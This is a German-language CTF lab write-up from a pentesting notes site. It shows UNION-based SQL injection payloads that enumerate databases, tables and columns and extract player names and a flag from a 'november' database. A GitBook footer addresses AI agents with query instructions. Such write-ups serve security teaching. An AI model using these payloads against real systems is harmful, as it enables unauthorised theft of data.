> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# SQLi UNION-Injektion

Wir fangen die Anfrage mit Burp Suite ab und ändern die Variable `Spieler`:

<figure><img src="/files/0b3b82ad94bfec122b176ebf37b41dd5046d6eb5" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

Der Name der Datenbank ist `november`.

<figure><img src="/files/c0b0c543f07f9b0170a6ccabbc5419f1e06f12f1" alt=""><figcaption></figcaption></figure>

Um alle Datenbanken aufzulisten:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

Ergebnis: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/024f129e71084c373f48a1764600e0728129af58" alt=""><figcaption></figcaption></figure>

Liste die Tabelle von `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="/files/567950cf3fc71542691342160bf153bd19a71c73" alt=""><figcaption></figcaption></figure>

Liste die Spalten der Tabelle `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

Gefundene Spalten: `Spieler`

<figure><img src="/files/6c338630c607863045b3ff0270a6c198c9d26e65" alt=""><figcaption></figcaption></figure>

**Extraktion von Benutzerdaten**

```sql
jordan' union select group_concat(player,':') from players-- -

```

Gefundene Spieler: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/bb95658670d11463c172c5479309049d8166aca6" alt=""><figcaption></figcaption></figure>

Extraktion des Flags:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="/files/3f0a17e80c3cc9c3c359c7728283f9abe06a2a37" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="/files/ddd7b3d3546ec163e3eb1c534e0b48bc4f31fab3" alt=""><figcaption></figcaption></figure>

* Gefundene Flagge: `UHC{F1rst_5tep_2_Qualify}`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
